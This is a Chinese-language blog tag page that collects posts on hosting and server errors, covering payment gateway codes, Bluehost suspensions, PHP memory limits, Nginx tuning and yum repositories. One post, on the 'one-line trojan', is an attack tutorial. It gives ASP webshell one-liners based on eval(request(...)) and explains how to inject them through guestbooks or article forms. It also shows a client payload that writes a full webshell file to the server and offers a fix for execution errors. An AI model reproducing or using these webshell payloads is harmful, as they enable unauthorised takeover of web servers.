Posts Tagged error

Gspay Error code 101解决方法

测试Gspay时,在Gspay支付页面提交个人地址信息并跳转下一步时报错了,错误代码如下:

Internal error: Authorization declined

Error code 101

在网上搜了下,没相关资料,只有一个外贸网站的FAQ里有提到

12 .Common payment error code:
101 customers IP does not match the selected countries  102 The IP of the client’s country is blocked 103 Customer’s IP  of  United States does not match the state 104 card holders who deceived 105 fraudulent card number 106, the language of the client browser is blocked 107 client countries, blocked 108 fraudulent e-mail address 109 deceived IP 110 deceived phone numbers to 111 client browser is blocked 112 transaction limit in excess of the maximum 113 hours IP restrictions 114 Unreasonable customer information

意思是说客户的IP和地址里所填写国家并不匹配,所以被拒绝了,这是信用卡安全机制的一部份

因为我们用的测试帐号一般都乱填的国家,但IP却是中国的,被检测出来

要顺利测试的话,只要在国家里选中国,就OK了

  • Share/Bookmark

Tags: , , , , , , ,

underhost不支持sendmail

一些网站因为投诉迁到了underhost,之前发邮件的方式都是通过sendmail,但搬迁后出错了,信息如下:

Email Error: Could not execute: /usr/sbin/sendmail

可能是underhost的主机不支持sendmail,或安装路径和zen cart默认的不一样,或没有权限让用户调用

解决方法,在zen cart后台将E-Mail Transport Method改为PHP

关于PHP方式,说明如下:

PHP is the default, and uses built-in PHP wrappers for processing.
Servers running on Windows and MacOS should change this setting to SMTP.

有空再研究了

另外的,underhost的PHP发邮件比bluehost的快很多

  • Share/Bookmark

Tags: , , , , , , , ,

bluehost因网站影响服务器性能冻结

前天一朋友为放在我bluehost上的博客购买了付费流量,也就是按月付费,几十块钱,每天能给网站带来几千IP,并承诺一个月内Alexa排名进20万,这个承诺有点胡扯了,不说能不能进,就算进了,本身也是没什么意义的

不过话说回来,进的可能还是大的,因为Alexa排名主要根据网站的非重复IP访问量,Alexa应该有个插件来监测这些数据,不过我感觉好像没用过,估计在中国用的人也不多

对方实现的方式很简单,就是在一个流量较大的网站上挂马,或者是对方自己运营的网站,这类网站有的如小说网,中国喜欢看小说的人多,太费时间了,我是多来不看的

这件事造成了很大麻烦,我真想不到小说有这么多人爱看;首先是公司的bluehost主机被关了,第一反应是侵权,但这些天没排名没广告没出单,前些天的单也过去很久了,老外应该没这么迟钝吧;看了邮件,里面原文如下:

Your web hosting account for XXXXXX.com has been deactivated, as of 10/23/2009. (reason: site causing performance problems)

This deactivation was due to a Terms of Service violation associated with your account. At sign-up, all users state that they have read through, understand, and agree to our terms. These terms are legal and binding.

Although your web site has been suspended, your data may still be available for up to 15 days past the date of deactivation; however, after this time, your account and all of its files, databases, and emails will be deleted.
If you feel this deactivation was made in error, or in order to gain access to your account, please call our customer service line as soon as possible at (888) 401-4678.
Please read the following, derived from our Terms of Service agreement, for additional information regarding the matter.
Engaging in any activity that, in BlueHost.Com’s sole and absolute discretion, disrupts, interferes with, or is harmful to (or threatens to disrupt, interfere with, or be harmful to) BlueHost.Com’s services, BlueHost.Com’s business, operations, reputation, goodwill, subscribers and/or subscriber relations, or the ability of BlueHost.Com’s subscribers to effectively use BlueHost.Com’s services is prohibited.

Please review the current copy of our Terms of Service here:
http://www.bluehost.com/cgi/terms

Thank you,
BlueHost.Com Support
http://www.bluehost.com
For support go to http://helpdesk.bluehost.com/
Toll-Free: (888) 401-4678

原来是网站造成了服务器性能问题,我查了日志,那个博客在一分钟内的请求达到200多次,高并发,造成服务器cpu占用过高,马上被冻结了

第一时间和客服联系上,bluehost的客服响应速度不错,但他们弄错了东西,就是认定是产品站的问题,我可急了,据理力争,让他们查日志去,最后各让一步,我删了那个博客站,总算解冻

如果我没搞错的话,这中间还是有BUG的,不然bluehost也不会搞错网站;客服毕竟是客服,这个,和思力的支持组差不多,汗一个

就像上次IXwebhosting一样,我忘了点应用按钮,以为优惠码不能用了,也是和对方客服争了半天,客服说是优惠码过期,我没办法,后来再试了下,点了应用键,居然行了,看来是客服不太敬业

而有的机子上,就算点了,也是报失效,哈哈,我这电脑的物理地址估计被ixwebhosting加为会员了

  • Share/Bookmark

Tags: , , , , , , , , , , ,

BlueHost主机内存的限制问题(转自bluehostcn.com)

有些朋友在使用BlueHost进行程序升级时,会出现如下提示:

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2361357 bytes) in /home/xxx/public_html/xxx/xxx/xxx.php on line 1324

显示内存限额太小,搞的没办法,只能上传身份证附件去开通SSH。

其实,这个是可以修改的,解决这个的方法是:

1、在cpanel面板选择php Config,选择PHP5(Single php.ini) 单击保存

2、进入File Manager,进入public_html,找到php.ini,修改 memory_limit = 32M 为 memory_limit = 128M

设置完成后就可以了。

  • Share/Bookmark

Tags: , , , , , ,

一句话木马

一句话木马  黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:
  <%execute request(”value”)%>
  <%eval request(”value”)%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用)
  当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(不知道数据库也可以,只要知道<%eval request(”value”)%>这个文件被插入到哪一个ASP文件里面就可以了。)
  这就被称为一句话木马,它是基于B/S结构的。
使用方法
  首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库
  或者加进asp网页.
   记住!我们的目的是把一句话<%execute request(”value”)%>添加到数据库,无论任何方式!
  然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页,然后杀进去!,这就可以干你想干的事情了!
  
一句话木马原理

  首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form(’#')+”这句代码,Request.form(’#')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:
  <textarea name=# cols=”80″ rows=”10″>
  set iP=server.createObject(”Adodb.Stream”)
  iP.Open
  iP.Type=2
  iP.CharSet=”gb2312″
  iP.writetext request(”aoyun”)
  iP.SaveToFile server.mappath(”aoyunwan.asp”),2
  iP.Close
  set iP=nothing
  response.redirect “aoyunwan.asp”
  </textarea>
  学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form(’#')),然后执行(使用eval(Request.form(’#')+”)),也就是执行了:
  set iP=server.createObject(”Adodb.Stream”)
  iP.Open
  iP.Type=2
  iP.CharSet=”gb2312″
  iP.writetext request(”aoyun”)
  iP.SaveToFile server.mappath(”aoyunwan.asp”),2
  iP.Close
  set iP=nothing
  response.redirect “aoyunwan.asp”
  学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的writetext方法将 request(”aoyun”)读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp
  文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect “aoyunwan.asp” 转向写入的文件,就是我们最后见的大马了!
  
关于服务器错误

  经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:
  Script error detected at line 1.
  Source line: execute request(”nettoo”)
  Description: 类型不匹配: ‘execute’
  这个如何解决呢?
  想出了一个好办法,只要用”eval”替换掉”execute”服务端,就不会出错了!

  • Share/Bookmark

Tags: , , , , , , , , , ,

什么是TrackBack?

TrackBack是一种网络日志应用工具,它可以让网志作者知道有那些人看到自己的文章后撰写了与之有关的短文。在Movable Type和WordPress软件中,包含有该功能。这种功能通过在网志之间互相「ping」的机制,实现了网站之间的互相通告;因此,它也可以提供提醒功能。
  *TrackBack功能一般出现在一个网志文章的下方,同时会显示对方网志的摘要信息、URL和网志标题。
  *TrackBack规范由Six Apart在2000年制订,并在Movable Type2.2中予以实现。
  trackback (引用通告)
  trackback是现在WEB2.0的产物,BLOG成为WEB2.0的关键包括TRACKBACK的功能,原理如下:
  在自己的空间(不管你在哪里建立了自己的BLOG或SPACE),你都必不可少的发表一些评论,以前的做法就是在文章下面跟帖评论,很可能要不定时回去看看自己的评论别人是如何看待的,TRACKBACK就是为了解决这个问题而生的.
  你在BLOG发表一篇评论的时候,在尾部的引用栏输入对方文章的引用(TRACKBACK)地址,那么你发表完文章后,对方的BLOG就会自动在你所评论的文章的尾部添加了你的引用信息,所显示的信息因程序而不同,基本的要素包括了你评论的标题和你的评论的链接,其他人可以很清楚地看到你的引用,并很方便地点击就可以来看你的文章.
  Blog跟BBS有点重要的不同,Blog是一种个人创作,用Blog来发表自己的东西,保存自己的东西,即使是对他人Blog文章的评论也要在自己的Blog中永久保留下来。通过Trackbak,我就可以在自己的Blog中发表文章,同时把自己这篇文章的URL地址Ping到鱼头的那篇文章上去。这样,所有阅读鱼头文章的人也能通过Trackback顺藤摸瓜地来我的Blog看我的文章。
  所以,当我们的Blog有了Trackback Ping功能,那么谁都可以通过Trackback Ping来发表意见和评论了。这样,多家Blog网站就通过相关话题而联接起来。各种评论在Internet上相互连接而织成一张大网。因此,可以说, Trackback创造出了Blog与BBS、Diary完全不同的文化,Blog的世界通过Trackback而变成真正的无限互连。
  作为Blogger,让我们习惯于这样讨论问题和做评论吧:把内容写在自己的Blog里面,Trackback Ping到别人的Blog。这个概念是论坛模式里从来没有的,称为Remote Commenting。
  早期版本的Trackback规范中,Ping是GET方式的HTTP请求,现在不再支持GET方式,只能用POST方式。
  参数包括:
  title – 文章的标题
  excerpt – 文章的摘要。在Movable Type系统中,如果摘录信息超过255个字符将会被截断为252个字符,并在后面增加…三个字符
  url – 文章的永久连接。象其它永久连接一样,这个连接应可能准确地在页面中定位文章的入口,因有疑问时这个链接会用到
  blog_name – 发表文章的blog的名称
  在上述的参数中只有url是必须的。如果title没有提供,url的值将被用作标题。
  当我的Blog发出这个Trackback Ping后,将接收一个简单的XML格式应答,如果Ping成功,那么应答的格式如下:
  <?xml version=”1.0″ encoding=”iso-8859-1″?>
  <response>
  <error>0</error>
  </response>
  而失败应答的格式为:
  <?xml version=”1.0″ encoding=”iso-8859-1″?>
  <response>
  <error>1</error>
  <message>The error message</message>
  </response>

  • Share/Bookmark

Tags: , , , , , , , , ,

bluehost主机无法通过php使用自己的SMTP服务

无论怎么设置,都提示无法连接到smtp服务器,错误信息如下:

Trying to smtp.163.com:25 Error: Cannot connenct to relay host smtp.163.com Error: Connection refused

和对方在线客服对话,答复是:

it won’t work. external SMTP connections are blocked by our firewall

原来是主机不支持,防火墙阻止了,无法连接任何外部smtp服务器

这下子晕菜了,继续对话中

sorry. we do not allow outbound SMTP connections from our servers

额。。。他们不允许这么做的,不能出站连接SMTP服务器

只好换种方式了

和老外对话很累,金山词霸,google翻译全用上了,汗自己一个

不过bluehost的服务还是不错的,一般在线客服两三分钟就有回复了,比中国的联通移动客服强很多,至少不会让你等个几分种再说话务忙,请稍后再拨…

  • Share/Bookmark

Tags: , , , , , ,

深究Nginx502 bad gateway, 504 Gateway Time-out的彻底解决(转)

我的VPS是256M的内存,CPU是四核心的,所以更多的我会在乎内存。而在我调试服务器的时候通常会遇到Nginx502 bad gateway和504 Gateway Time-out的错误。分析nginx.conf我发现server和fastcgi的buffers过多,导致fastcgi请求的数量过大,php-fpm无法及时处理而出错。循此思路我们可以再总体buffers不变的情况下减少请求数量,具体的ningx.conf改动细节如下:
                server_names_hash_bucket_size 128;
                client_header_buffer_size 32k;
                large_client_header_buffers 1 128k;# 4 32k
                client_max_body_size 8m;

                sendfile on;
                tcp_nopush     on;

                keepalive_timeout 60;

                tcp_nodelay on;

                fastcgi_connect_timeout 300;
                fastcgi_send_timeout 300;
                fastcgi_read_timeout 300;
                fastcgi_buffer_size 128k;
                fastcgi_buffers 2 256k;#8 128
                fastcgi_busy_buffers_size 256k;
                fastcgi_temp_file_write_size 256k;
                fastcgi_intercept_errors on;

                gzip on;
                gzip_min_length  1k;
                gzip_buffers     1 64k; #4 16
                gzip_http_version 1.0;
                gzip_comp_level 2;
                gzip_types       text/plain application/x-javascript text/css application/xml;
                gzip_vary on;

另外,php-fpm的默认静态处理方式会使得php-cgi的进程长期占用内存而无法释放,这也是导致nginx出错的原因之一,因此可以将php-fpm的处理方式改成apache模式。
        <value name=”style”>apache-like</value>

从更改完毕到现在的测试表明上述方式的效果还是很明显的,并没有发现一次Nginx502 bad gateway或504 Gateway Time-out错误。当然,如果你的VPS或者服务器的性能足够好可以根据具体情况不必做无谓的改动。

 

以上摘自疯人醉语

测试一下,有效果的话会更新

  • Share/Bookmark

Tags: , , , , , , , , , , , , , , ,

使用Navicat连接远程数据库2013错误

错误如下:

2013 – lost connection to mysql server during query

或:2013 – lost connection to mysql server at ‘reading initial communication packet’ ,system error:2

用cmd 或phpmyadmin连接倒是正常,而且同一局域网有的正常有的报错

怀疑是Navicat这类工具发出的数据比较特殊,加上本地路由器不稳定,数据包丢失或错误造成的

用了美国的vpn就搞定了,改天再去研究是不是路由器的问题,用的破解版海蜘蛛,不稳定

  • Share/Bookmark

Tags: , , , , , , , , ,

使用yum命令时报Cannot retrieve repository metadata错的解决方法

装一台日本服务器,使用yum安装gcc时报错:

file:///media/cdrom/repodata/repomd.xml: [Errno 5] OSError: [Errno 2] No such file or directory: ‘/media/cdrom/repodata/repomd.xml’
Trying other mirror.
file:///media/CentOS/repodata/repomd.xml: [Errno 5] OSError: [Errno 2] No such file or directory: ‘/media/CentOS/repodata/repomd.xml’
Trying other mirror.
file:///media/cdrecorder/repodata/repomd.xml: [Errno 5] OSError: [Errno 2] No such file or directory: ‘/media/cdrecorder/repodata/repomd.xml’
Trying other mirror.
Error: Cannot retrieve repository metadata (repomd.xml) for repository: c5-media. Please verify its path and try again

原来是默认启用了本地光盘YUM 源

解决方法如下

vi /etc/yum.repos.d/CentOS-Media.repo

enabled=1

改为

enabled=0

即可,搞定

  • Share/Bookmark

Tags: , , , ,